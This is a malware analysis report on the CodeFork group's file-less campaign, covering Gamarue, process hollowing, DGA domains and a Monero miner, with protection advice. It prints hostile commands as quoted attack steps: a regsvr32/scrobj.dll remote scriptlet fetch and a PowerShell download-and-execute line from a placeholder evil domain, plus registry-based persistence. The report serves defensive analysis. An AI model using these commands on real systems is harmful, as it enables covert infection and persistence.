Background

Since 2015, the Radware Malware Research Team has been following CodeFork - a group of hackers who recently launched a new campaign with updated malware tools and infection techniques. This group distributes malware to be utilized across a number of use cases. The new campaign features advanced file-less evasion and persistence techniques, as well as a new module that mines Monero cryptocurrency. The group leverages these infections to sell services such as spreading spam, worms and downloaders (and possibly information stealers, too). The current version of the tool is widely spread amongst many different businesses in various geographical locations. Its evasion tactic bypasses existing security solutions by using file-less persistence techniques. CodeFork is a cautious group that invests in stealth, usually sneaking under the radar of traditional defense systems such as sandboxing, Mail Attachment Scanners, IDS/IPS, Secure Web Gateways and various Endpoint protection solutions. They take advantage of Window OS executables for the installation process, leaving no tracks on the disk.

Using machine-learning algorithms that analyze dozens of indicators in the malware behavior and its communication patterns, Radware's Cloud Malware Protection solution was able to detect the attempts to contaminate our customers' networks and block the communication with the C&C servers.

Reasons for Concern – File-less Malware

While previous versions of this malware stored its modules on the file system, it now uses completely file-less techniques for execution and persistence. As no suspicious files are stored on the disk, this technique allows the attackers to remain on the infected machine longer, undetectable by most Endpoint protection solutions. Dynamically loaded PowerShell scripts, reflective PE (Portable Executable) loading and Process Hollowing injection techniques are all being used to achieve convenient and quiet execution without leaving a trace on the file system.

Infection

A common infection vector most likely was used against most of the targeted organizations. For example, an email attachment with a Microsoft Office document containing a malicious macro. The infection payload launches the following command:

```
regsvr32 /s /u /i:http://xxx.somerandomevildomain.xx/evilpath.xml scrobj.dl
```

Regsvr32 is a Windows command line utility used to register and unregister dll files and ActiveX controls into the registry. There are a number of advantages the malware leverages when using Regsvr32 with scrobj.dll:

- It bypasses AppLocker script rules
- It is aware of proxy
- It supports TLS encryption
- It follows HTTP redirects
- It does not leave any trace on the disk
- It is usually trusted by endpoint firewall software, as it is a legitimate Microsoft Windows executable[1]

[1] http://subt0x10.blogspot.co.il/2017/04/bypass-application-whitelisting-script.html

The **evilpath.xml** file contains a Windows Script Component file. It instructs **Windows Scripting Engine** to execute an obfuscated Javascript code that executes **powershell.exe** with the following parameters:

```
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -noexit -c
[System.Net.ServicePointManager]: ServerCertificateValidationCallback = { $true }; iex ((New-Object
System.Net.WebClient).DownloadString('https://somerandomevildomain.xx /somerandomflie'))
```

The argument instructs PowerShell to download a script from *https://somerandomevildomain.xx /somerandomfile* or *https://somerandomevildomain.xx /anotherrandomefile* and to execute it from memory. This method bypasses local execution policies that might restrict running unrecognized PowerShell scripts, as running a simple PS command allowed by default. The script downloads an RC4 Encrypted DLL Executable from https://somerandomevildomain.xx /anotherrandomfile (referred to as the "dropper") and decrypts it. It then loads the malicious script reflectively from memory into the powershell.exe process, using the Invoke-ReflectivePEInjection module from PowerSploit framework (i.e., an open source kit of PowerShell post exploitation scripts). Up until this point, files are neither stored nor created on the disk, and the downloaded executables are transferred encrypted. This is another layer of security from the program writer so IDS/IPS will not detect its modules inside the traffic.

Deployment

The malware dropper is reflectively loaded and its export "VoidFunc" is called. As a simple anti-analysis mechanism, the module checks for the path C:\python27 on the machine, which may indicate a security researcher's machine or sandbox environment. If it exists, the malware aborts. Next, the module searches for powershell.exe on the machine. Since PowerShell is vital to the next stage, the module aborts if PowerShell is not present (which could occur on old Windows XP setups or similar environments).

Persistence

To remain on the infected machine after rebooting, two registry values are stored under **HKEY_CURRENT_USER\Software\Classes\[Random String]**

1. The powershell script for the next stage in base64.
2. A new RC4 encrypted DLL module.

Then the following command is executed:

```
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep
bypass -nop iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp
'HKCU:\Software\Classes\[Same Random Key]').[Random Value Name])));"
```

This command is also added to the following auto-run registry key for persistency:

```
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Please note that this is only artifact that remains on the machine at this point, as no files have been written anywhere.

Execution

The next module launched is a wrapper for the real malware. The registry-persistent PowerShell script decrypts the DLL module from the registry, loads it reflectively and executes its **VoidFunc** export.

The Backup Mechanism

This module uses a **Domain Generation Algorithm (DGA)** to generate a domain for the current week. This tactic makes more difficult for security solutions such as NGFWs and Secure Web Gateways to detect and block the outbound communication to the C&C server. After the domain is generated, an HTTPS GET request is sent to download a malicious file, masquerading as Googlebot crawler. Note that this is probably a backup - or an upgrade – mechanism, as it tries to access unregistered domains, or alternatively, when the malicious file was not present on the C&C servers.

Since the DGA functionality is responsible for generating a new C&C domain for every Monday, Radware has generated the next domains that will be used, adding them to our **Cloud Malware Protection Service.**

```
push    edi
lea     eax, [ebp+SystemTime]
push    eax             ; lpSystemTime
call    ds:GetLocalTime
movzx   esi, [ebp+SystemTime.wMonth]
mov     ecx, 0Eh
sub     ecx, esi
movzx   ebx, [ebp+SystemTime.wYear]
mov     eax, 2AAAAAABh
```

Figure 1: Using GetLocalTime to calculate a seed for the domain generation function

```
loc_10002370:
mov     [ebp+esi+var_20], 'r.'
mov     [ebp+esi+var_1E], 'u'
add     esi, 3
cmp     esi, 10h
jnb     short loc_100023D3
```

Figure 2: Adding a TLD suffix to the generated domain.

An interesting observation about the generation algorithms is that CodeFork uses the same algorithm repeatedly in different modules, but with minor modifications each time:

1. Changing the seed of the DGA function
2. Adding an extra letter at the beginning of the domain.
3. Removing two letters from the end.
4. Multiply the first letter
5. Using various subdomains

This has allowed Radware to identify domains that are being used now, and in the future, by CodeFork's different modules without having to retrieve and fully analyze all of their modules.

After trying to download another executable as an upgrade mechanism, it proceeds to execute an instance of the infamous Gamarue malware. The module unpacks an EXE file in memory to run a new suspended system process (**werfault.exe**). It uses process hollowing to replace the process' main module with Gamarue.

CodeFork's Downloader Module

This is a customized version of **Gamarue** malware that is well known and has been documented. It is a modular malware that, in its basic setup, is simply a downloader. However, it can be customized with additional modules downloaded to enhance its capabilities.

In this phase, Gamarue runs inside the legitimate **werfault.exe** Windows process. However, instead of conducting its malicious behavior immediately, it utilizes process hollowing again, first creating another legitimate Windows process – (**msiexec .exe**) and continues the execution from the new process. It then tries to contact the domains via SSL.

Anti Analysis

A significant effort is made to deter analysis of the module. The executable file does not possess an import table, making it hard to track or understand which Win APIs it uses. It resolves all the addresses to the APIs it needs dynamically in runtime, copies the first instruction/s to a new executable region, followed by a relative JMP instruction to the address of the original API plus the already ran instructions offset.

```
Command
008c4e17 8d45bc          lea     eax,[ebp-44h]
008c4e1a 57              push    edi
008c4e1b 50              push    eax
008c4e1c e89b2a0000      call    008c78bc  <-- Originally this was a call to ntdll!memset, instead, it calls ...
008c4e21 83c40c          add     esp,0Ch
008c4e24 6800000100      push    10000h
008c4e29 e8cf0d0000      call    008c5bfd
0:010> u 008c78bc
008c78bc ff25f03f8c00    jmp     dword ptr ds:[8C3FF0h]<---  ... THIS trampoline....
008c78c2 ff25ec3f8c00    jmp     dword ptr ds:[8C3FECh]
008c78c8 ff25e83f8c00    jmp     dword ptr ds:[8C3FE8h]
008c78ce ff25e43f8c00    jmp     dword ptr ds:[8C3FE4h]
008c78d4 ff25e03f8c00    jmp     dword ptr ds:[8C3FE0h]
008c78da ff25dc3f8c00    jmp     dword ptr ds:[8C3FDCh]
008c78e0 ff25c43f8c00    jmp     dword ptr ds:[8C3FC4h]
008c78e6 ff25c83f8c00    jmp     dword ptr ds:[8C3FC8h]
0:010> dd 8C3FF0h
008c3ff0  008cab20 008cab30 008cab40 00000000
008c4000  008cb170 008cb180 00000000 008cab50
008c4010  008cab60 008cab70 008cab80 008cab90
008c4020  008caba0 008cabb0 008cabc0 008cabd0
008c4030  008cabe0 008cabf0 008cac00 008cac10
008c4040  008cac20 00000000 00000000 dead10ce
008c4050  b3887c33 93798c4d 6f702180 c5a52531
008c4060  5d35b553 44afc3d9 113b036b 1fc4dee2
0:010> u 008cab20
008cab20 8b54240c        mov     edx,dword ptr [esp+0Ch]<--- ... Which executes the first instruction of memset and
008cab24 e95b9c3b77      jmp     ntdll!memset+0x4 (77c84784)  JUMPS to memset + 4
008cab29 0000            add     byte ptr [eax],al
008cab2b 0000            add     byte ptr [eax],al
008cab2d 0000            add     byte ptr [eax],al
008cab2f 0055e9          add     byte ptr [ebp-17h],dl
008cab32 bb953b7700      mov     ebx,773B95h
008cab37 0000            add     byte ptr [eax],al
0:010> u 008cab30
008cab30 55              push    ebp
008cab31 e9bb953b77      jmp     ntdll!memcpy+0x1 (77c840f1)
008cab36 0000            add     byte ptr [eax],al
008cab38 0000            add     byte ptr [eax],al
008cab3a 0000            add     byte ptr [eax],al
008cab3c 0000            add     byte ptr [eax],al
008cab3e 0000            add     byte ptr [eax],al
008cab40 8d54240c        lea     edx,[esp+0Ch]
0:010> u 008cab40
008cab40 8d54240c        lea     edx,[esp+0Ch]
008cab44 e9d8b33c77      jmp     ntdll!_pow_default+0x4 (77c95f21)
```

Figure 3: JMP Instructions

The result? User-mode hooks or breakpoints on interesting APIs will not intercept the malware's behavior. Such hooks are usually placed by auto-analysis sandboxes such as Cuckoo Sandbox, and sometimes by EndPoint solutions as well. This method bypasses such hooks completely, leaving them useless. When statically analyzed from a memory dump, this will also need to be fixed. Hence, a smarter approach is required. For example:

- Inspecting more low level APIs
- Setting BPs a little further than in the functions start
- Dynamically "fixing" its import table to point to the real API instead of the trampoline (i.e. before dumping it from memory).

CodeFork's Downloaded Modules

Upon ongoing analysis of this and former CodeFork campaigns, Radware has seen Gamarue being used to download different modules (for different purposes) such as:

- Necrus Malware
- A USB-INFECTOR module for lateral infection
- Using Microsoft's cdosys.dll for spamming

This time, we discovered a new behavior, which is the Monero mining.

Monero Miner

Servers will instruct the Gamarue malware to download and execute a modified version of**xmrig.exe** - a **Monero Digital Currency CPU Miner**.
This executable is process hollowed into **arp.exe** and heavily consumes the machine's CPU to mine digital currency on the machine, earning attackers cash.

```
mov     [ebp+var_40], eax
mov     [ebp+var_34], offset aSafe ; "--safe"
mov     [ebp+var_30], offset aO ; "-o"
mov     [ebp+var_2C], offset aXmr_cryptoPool ; "xmr.crypto-pool.fr:443"
mov     [ebp+var_28], offset aU ; "-u"
[redacted]                                                              ...
mov     [ebp+var_20], offset aPx ; "-px"
mov     [ebp+var_1C], offset aB ; "-B"
mov     [ebp+var_18], offset aK ; "-k"
```

Figure 4: Executable process

Conclusion

Because of the number of installations, combined with the versatility of the malware, CodeFork can easily drive monetization, selling to other actors who can deploy complementary malicious modules of their own. The CodeFork group will certainly continue to try to distribute its tools, finding new ways to bypass current protections. Such groups continuously create new malwares and mutations to bypass security controls.

When new evasion techniques (like those exposed in this report) are discovered, they immediately feed Radware's Sandbox database with new anti-malware techniques. In addition, they extend Radware Cloud Malware Protection's machine-learning algorithms for better accuracy of future file-less based malwares. Radware Malware Research Group will keep monitoring and analyzing new sophisticated threats to provide protection to its customers.

Protection Guidelines

1. **Communication behavior analytics**

   Utilize advanced machine-learning behavior analysis algorithms to constantly analyze Internet traffic to detect zero-day malware. This key capability is crucial to uncover and stop evasive and file-less malware designed to bypass Web Gateways, sandboxing solutions, file-based endpoint solutions and other security defenses.

2. **Global Crowdsourcing**

   Leverage a global community of millions of enterprise users, who generate billions of daily communications. This can help protect your organization from new emerging threats faster.

3. **Malware Analysis at Scale**

   On top of raw data from the global community, process high volumes of daily malware samples (i.e., from external feeds by scalable sandboxing engines) to create a massive database of malware profiles.

4. **Auditing Tool**

   Without introducing any actual bad actors into the network, simulate attacks by the latest malware to proactively measure the performance of your existing security infrastructure against potential threats.

5. **Integration with Existing Defenses**

   Integrate Secure Web Gateways, Next-gen Firewalls, SIEMs and other existing security solutions and threat intelligence feeds to achieve comprehensive threat visibility.

Organizations Under Attack Should Consider

- A security solution that can protect its infrastructure from multi-vector attacks including protection from network- and application-based DDoS attacks, as well as volumetric attacks that can saturate the Internet pipe
- A hybrid solution that includes on-premise detection and mitigation with cloud-based protection for volumetric attacks. This provides quick detection, immediate mitigation and protects networks from volumetric attacks that aim to saturate the Internet pipe.
- A solution that provides protection against sophisticated, web-based attacks and website intrusions to prevent defacement and information theft.
- A cyber-security emergency response plan that includes an emergency response team and process in place. Identify areas where help is needed from a third party.
- Monitor security alerts and examine triggers carefully. Tune existing policies and protections to prevent false positives and allow identification of real threats if and when they occur.

In addition to Radware products, we recommend that you review your network patch your system according. Maintaining and inspecting your network often is necessary in order to defend against these types of risks and threats.

Under Attack and in Need of Expert Emergency Assistance? Radware Can Help

Radware offers a service to help respond to security emergencies, neutralize the risk and better safeguard operations before irreparable damages occur. If you're under DDoS attack or malware outbreak and in need of emergency assistance, Contact us with the code "Red Button".

Learn More at DDoS Warriors

To know more about today's attack vector landscape, understand the business impact of cyber-attacks or learn more about emerging attack types and tools visit DDoSWarriors.com. Created by Radware's Emergency Response Team (ERT), it is the ultimate resource for everything security professionals need to know about DDoS attacks and cyber security.